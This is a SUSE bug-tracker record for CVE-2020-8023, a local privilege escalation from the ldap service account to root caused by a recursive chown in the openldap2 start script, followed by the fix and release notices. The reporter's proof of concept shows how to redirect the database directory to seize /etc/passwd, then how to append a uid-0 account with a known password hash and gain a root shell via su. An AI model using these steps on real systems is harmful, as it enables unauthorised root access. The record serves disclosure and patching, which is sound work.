~~Bug 1172698 - (CVE-2020-8023) VUL-0: CVE-2020-8023: openldap2: Local privilege escalation from ldap to root when using OPENLDAP_CONFIG_BACKEND="ldap"~~

Status: RESOLVED FIXED

- Create test case
- Clone This Bug

Classification:	Novell Products
Product:	SUSE Security Incidents
Component:	Incidents
Version:	unspecified
Hardware:	Other Other
Priority:	P3 - Medium **Severity**: Normal
Target Milestone:	---
Assigned To:	William Brown
QA Contact:	Security Team bot
URL:	https://smash.suse.de/issue/260958/
Whiteboard:	CVSSv3.1:SUSE:CVE-2020-8023:7.8:(AV:L...
Keywords:	
Depends on:	
Blocks:	
	Show dependency tree / graph

Reported:	2020-06-09 07:19 UTC by Johannes Segitz
Modified:	2020-10-07 05:31 UTC (History)
CC List:	6 users (show)
See Also:	
Found By:	---
Services Priority:	
Business Priority:	
Blocker:	---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this bug.

Johannes Segitz 2020-06-09 07:19:56 UTC   Description

```
When OPENLDAP_CONFIG_BACKEND="ldap" is set the ldap user can escalate to root.

POC:
as root
$ grep OPENLDAP_CONFIG_BACKEND= /etc/sysconfig/openldap
OPENLDAP_CONFIG_BACKEND="ldap"
$ cp -r /etc /etc2

as ldap:
sh-5.0$ id
uid=76(ldap) gid=70(ldap) groups=70(ldap)
context=unconfined_u:unconfined_r:unconfined_t:s0
sh-5.0$ pwd
/etc/openldap/slapd.d
sh-5.0$ cat olcDatabase
olcdbdirectory /etc2

as root:
$ systemctl restart slapd
$ ls -la /etc2/passwd
-rw-r--r--. 1 ldap ldap 2848 Jun  9 08:56 /etc2/passwd

Also an issue (but not covered by the CVE):
On systems with fs.protected_hardlinks=0 the call to chown -R in
chown_database_dirs can be exploited since /var/lib/ldap belongs to ldap and chown
-R is called there by default. Please remove the chown -R call
```

Johannes Segitz 2020-06-09 07:22:17 UTC   Comment 1

```
This issue will be handled according to our disclosure policy outlined in
https://en.opensuse.org/openSUSE:Security_disclosure_policy

In accordance with our policy we will make this issue public latest at
Internal CRD: 2020-09-07 or earlier
This is the latest possible date and we prefer to make it public earlier if the
situation allows it. You can make it public whenever you like since this is an
internal finding.
```

Johannes Segitz 2020-06-09 07:26:37 UTC   Comment 2

```
Affected all the way down to 11-SP1 (there start is called rc.ldap)
```

William Brown 2020-06-10 01:15:58 UTC   Comment 3

```
Okay, to confirm as "all the way down to 11-SP1" isn't really clear to me ...

This affects the following ibs repos:

https://build.suse.de/package/show/SUSE:SLE-15:Update/openldap2
https://build.suse.de/package/show/SUSE:SLE-12-SP2:Update/openldap2
https://build.suse.de/package/show/SUSE:SLE-12:Update/openldap2
https://build.suse.de/package/show/SUSE:SLE-11-SP3:Update/openldap2
https://build.suse.de/package/show/SUSE:SLE-11-SP1:Update/openldap2

Is this correct to your understanding of the issue? Are there any I have missed?


I want to confirm what is the vulnerability here because it's not clear from your
```

POC.

We have:

-rw-r--r-- 1 root root 4612 Jun 10 01:03 /etc/sysconfig/openldap

When *root* has modified this to use "OPENLDAP_CONFIG_BACKEND", this means that the slapd daemon (which runs as ldap, an isolated service account it appears), if a user was able to become ldap (how?) OR the openldap directory manager (equivalent to root but in ldap) is able to change olcdbdirectory to another value, then on restart of the openldap instance the start script call to "chown_database_dirs_bconfig", a chown -R is called on the location, which can change the permissions of other files such as /etc/shadow or /etc/passwd.

So to be clear, the "fix" from your perspective is to remove the call to chown_database_dirs_bconfig()?

I think this won't affect slapd.conf directory chown, because it's root:ldap and ldap is group readonly, but it's probably worth removing chown_database_dirs() as well.

Does this seem correct to you?

William Brown 2020-06-10 01:44:29 UTC Comment 4

I'm thinking about this more, are you sure this is a priv esc? It seem like a file disclosure as the most. This can cause root:root files to be changed to ldap:ldap, but most services like sudoers, shadow, sssd will all refuse to run once they are not root:root as their config files. Can you elaborate here on how this could get you to a root shell from changing to ldap:ldap on a file?

I still think the chown on startup is a bit poor, so I agree it should be fixed, but I'd really like to see some more detail about how this is a priv esc thank you :)

Johannes Segitz 2020-06-10 09:09:50 UTC Comment 5

```
 > https://build.suse.de/package/show/SUSE:SLE-15:Update/openldap2
 > https://build.suse.de/package/show/SUSE:SLE-12-SP2:Update/openldap2
 > https://build.suse.de/package/show/SUSE:SLE-12:Update/openldap2
 > https://build.suse.de/package/show/SUSE:SLE-11-SP3:Update/openldap2
 > https://build.suse.de/package/show/SUSE:SLE-11-SP1:Update/openldap2
>
 > Is this correct to your understanding of the issue? Are there any I have missed?
```

that looks correct

```
 > We have:
>
 > -rw-r--r-- 1 root root 4612 Jun 10 01:03 /etc/sysconfig/openldap
>
 > When *root* has modified this to use "OPENLDAP_CONFIG_BACKEND", this means that t
```

shouldn't be able to gain root (unless of course this is specified by the admin).

```
 > So to be clear, the "fix" from your perspective is to remove the call to chown_da
```

That's one option. Having these chown calls is always unpleasant from a security POV

```
 > I think this won't affect slapd.conf directory chown, because it's root:ldap and
>
 > Does this seem correct to you?
```

yes

```
 > I'm thinking about this more, are you sure this is a priv esc?
```

```
 > I still think the chown on startup is a bit poor, so I agree it should be fixed,
```

Of course :)

```
sh-5.0$ id
uid=76(ldap) gid=70(ldap) groups=70(ldap)
context=unconfined_u:unconfined_r:unconfined_t:s0
sh-5.0$ echo 'newroot:$1$ggDt1EGc$SpOckvmrIQOqiO2Cyvux0/:0:0:root:/root:/bin/zsh'
>> /etc/passwd
sh-5.0$ su - newroot
sh-5.0$ su - newroot
Password: foobar
$ id
uid=0(newroot) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0
```

William Brown 2020-06-11 00:36:32 UTC Comment 6

```
> 
> Of course :)
> 
> sh-5.0$ id
> uid=76(ldap) gid=70(ldap) groups=70(ldap)
> context=unconfined_u:unconfined_r:unconfined_t:s0
> sh-5.0$ echo
> 'newroot:$1$ggDt1EGc$SpOckvmrIQOqiO2Cyvux0/:0:0:root:/root:/bin/zsh' >>
> /etc/passwd
> sh-5.0$ su - newroot
> sh-5.0$ su - newroot
> Password: foobar
> $ id
> uid=0(newroot) gid=0(root) groups=0(root)
> context=unconfined_u:unconfined_r:unconfined_t:s0
```

Thanks for explaining! I was under the impression that passwd was never able to store hashes, and that it was permission checked to be root:root ... but apparently I'm wrong.

would that also potentially be an issue? Shouldn't the nss compat/files module refuse to use a hash from /etc/passwd, and it should refuse to work if the permissions aren't root:root? That seems like an extra "defence in depth" that would be valuable to have (consider say sssd.conf which refuses to start if it's not root:root 600, which would actually mitigate this attack pattern).

Anyway, I'm still going to fix the chown, thanks for your time. I'll put in the requests today I hope.

Alexandros Toptsoglou 2020-06-29 07:38:36 UTC Comment 9

All codestream but SLE11-SP1 are ready for release. Could you please submit for 11-SP1? Your previous requests were decline by legal.

William Brown 2020-06-30 01:28:56 UTC Comment 10

(In reply to Alexandros Toptsoglou from comment #9)

> All codestream but SLE11-SP1 are ready for release. Could you please submit
> for 11-SP1? Your previous requests were decline by legal.

Really sorry about that! I did the changes a few days ago but apparently forgot to submit them. MR is here:

https://build.suse.de/request/show/220729

Swamp Workflow Management 2020-07-06 19:14:21 UTC Comment 13

SUSE-SU-2020:1859-1: An update that solves one vulnerability and has two fixes is now available.

```
Category: security (important)
Bug References: 1170715,1172698,1172704
CVE References: CVE-2020-8023
Sources used:
SUSE OpenStack Cloud Crowbar 8 (src):    openldap2-2.4.41-18.71.2
SUSE OpenStack Cloud 8 (src):    openldap2-2.4.41-18.71.2
SUSE OpenStack Cloud 7 (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Software Development Kit 12-SP5 (src):    openldap2-2.4.41-
18.71.2
SUSE Linux Enterprise Software Development Kit 12-SP4 (src):    openldap2-2.4.41-
18.71.2
SUSE Linux Enterprise Server for SAP 12-SP3 (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server for SAP 12-SP2 (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP5 (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP4 (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP3-LTSS (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP3-BCL (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP2-LTSS (src):    openldap2-2.4.41-18.71.2
SUSE Linux Enterprise Server 12-SP2-BCL (src):    openldap2-2.4.41-18.71.2
SUSE Enterprise Storage 5 (src):    openldap2-2.4.41-18.71.2
HPE Helion Openstack 8 (src):    openldap2-2.4.41-18.71.2
```

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2020-07-06 19:16:03 UTC Comment 14

SUSE-SU-2020:1856-1: An update that solves one vulnerability and has one errata is now available.

```
Category: security (important)
Bug References: 1172698,1172704
CVE References: CVE-2020-8023
Sources used:
SUSE Linux Enterprise Server for SAP 15 (src):    openldap2-2.4.46-9.31.1
SUSE Linux Enterprise Server 15-LTSS (src):    openldap2-2.4.46-9.31.1
SUSE Linux Enterprise Module for Legacy Software 15-SP2 (src):    openldap2-2.4.46-
9.31.1
SUSE Linux Enterprise Module for Legacy Software 15-SP1 (src):    openldap2-2.4.46-
9.31.1
SUSE Linux Enterprise Module for Development Tools 15-SP2 (src):    openldap2-
2.4.46-9.31.1
SUSE Linux Enterprise Module for Development Tools 15-SP1 (src):    openldap2-
2.4.46-9.31.1
SUSE Linux Enterprise Module for Basesystem 15-SP2 (src):    openldap2-2.4.46-
9.31.1
SUSE Linux Enterprise Module for Basesystem 15-SP1 (src):    openldap2-2.4.46-
9.31.1
SUSE Linux Enterprise High Performance Computing 15-LTSS (src):    openldap2-
2.4.46-9.31.1
SUSE Linux Enterprise High Performance Computing 15-ESPOS (src):    openldap2-
2.4.46-9.31.1
```

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2020-07-06 19:21:39 UTC Comment 15

```
SUSE-SU-2020:1855-1: An update that solves one vulnerability and has one errata is
now available.

Category: security (important)
Bug References: 1172698,1172704
CVE References: CVE-2020-8023
Sources used:
SUSE Linux Enterprise Server for SAP 12-SP5 (src):    openldap2-2.4.41-18.24.20.2
SUSE Linux Enterprise Server for SAP 12-SP4 (src):    openldap2-2.4.41-18.24.20.2
SUSE Linux Enterprise Server for SAP 12-SP3 (src):    openldap2-2.4.41-18.24.20.2
SUSE Linux Enterprise Server for SAP 12-SP2 (src):    openldap2-2.4.41-18.24.20.2
SUSE Linux Enterprise Module for Legacy Software 12 (src):    openldap2-2.4.41-
18.24.20.2

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-07-06 19:22:29 UTC Comment 16

```
SUSE-SU-2020:14419-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1172698
CVE References: CVE-2020-8023
Sources used:
SUSE Linux Enterprise Server 11-SP4-LTSS (src):    openldap2-2.4.26-0.74.13.1,
openldap2-client-2.4.26-0.74.13.1
SUSE Linux Enterprise Server 11-SECURITY (src):    openldap2-client-openssl1-
2.4.26-0.74.13.1
SUSE Linux Enterprise Point of Sale 11-SP3 (src):    openldap2-2.4.26-0.74.13.1,
openldap2-client-2.4.26-0.74.13.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    openldap2-2.4.26-0.74.13.1,
openldap2-client-2.4.26-0.74.13.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    openldap2-2.4.26-0.74.13.1,
openldap2-client-2.4.26-0.74.13.1, openldap2-client-openssl1-2.4.26-0.74.13.1

NOTE: This line indicates an update has been released for the listed product(s). At
times this might be only a partial fix. If you have questions please reach out to
maintenance coordination.
```

Swamp Workflow Management 2020-07-14 10:14:13 UTC Comment 17

```
openSUSE-SU-2020:0956-1: An update that solves one vulnerability and has one errata
is now available.

Category: security (important)
Bug References: 1172698,1172704
CVE References: CVE-2020-8023
Sources used:
openSUSE Leap 15.1 (src):    openldap2-2.4.46-lp151.10.12.1
```

Swamp Workflow Management 2020-07-17 22:22:13 UTC Comment 18

```
openSUSE-SU-2020:0976-1: An update that solves one vulnerability and has one errata
is now available.

Category: security (important)
Bug References: 1172698,1172704
CVE References: CVE-2020-8023
Sources used:
openSUSE Leap 15.2 (src):    openldap2-2.4.46-lp152.14.3.1
```

Marcus Meissner 2020-07-22 12:56:23 UTC Comment 19

```
done
```

Marcus Meissner 2020-10-07 05:31:23 UTC Comment 22

```
done
```

First Last Prev Next This bug is not in your last search results.

Format For Printing - XML - Clone This Bug - Top of page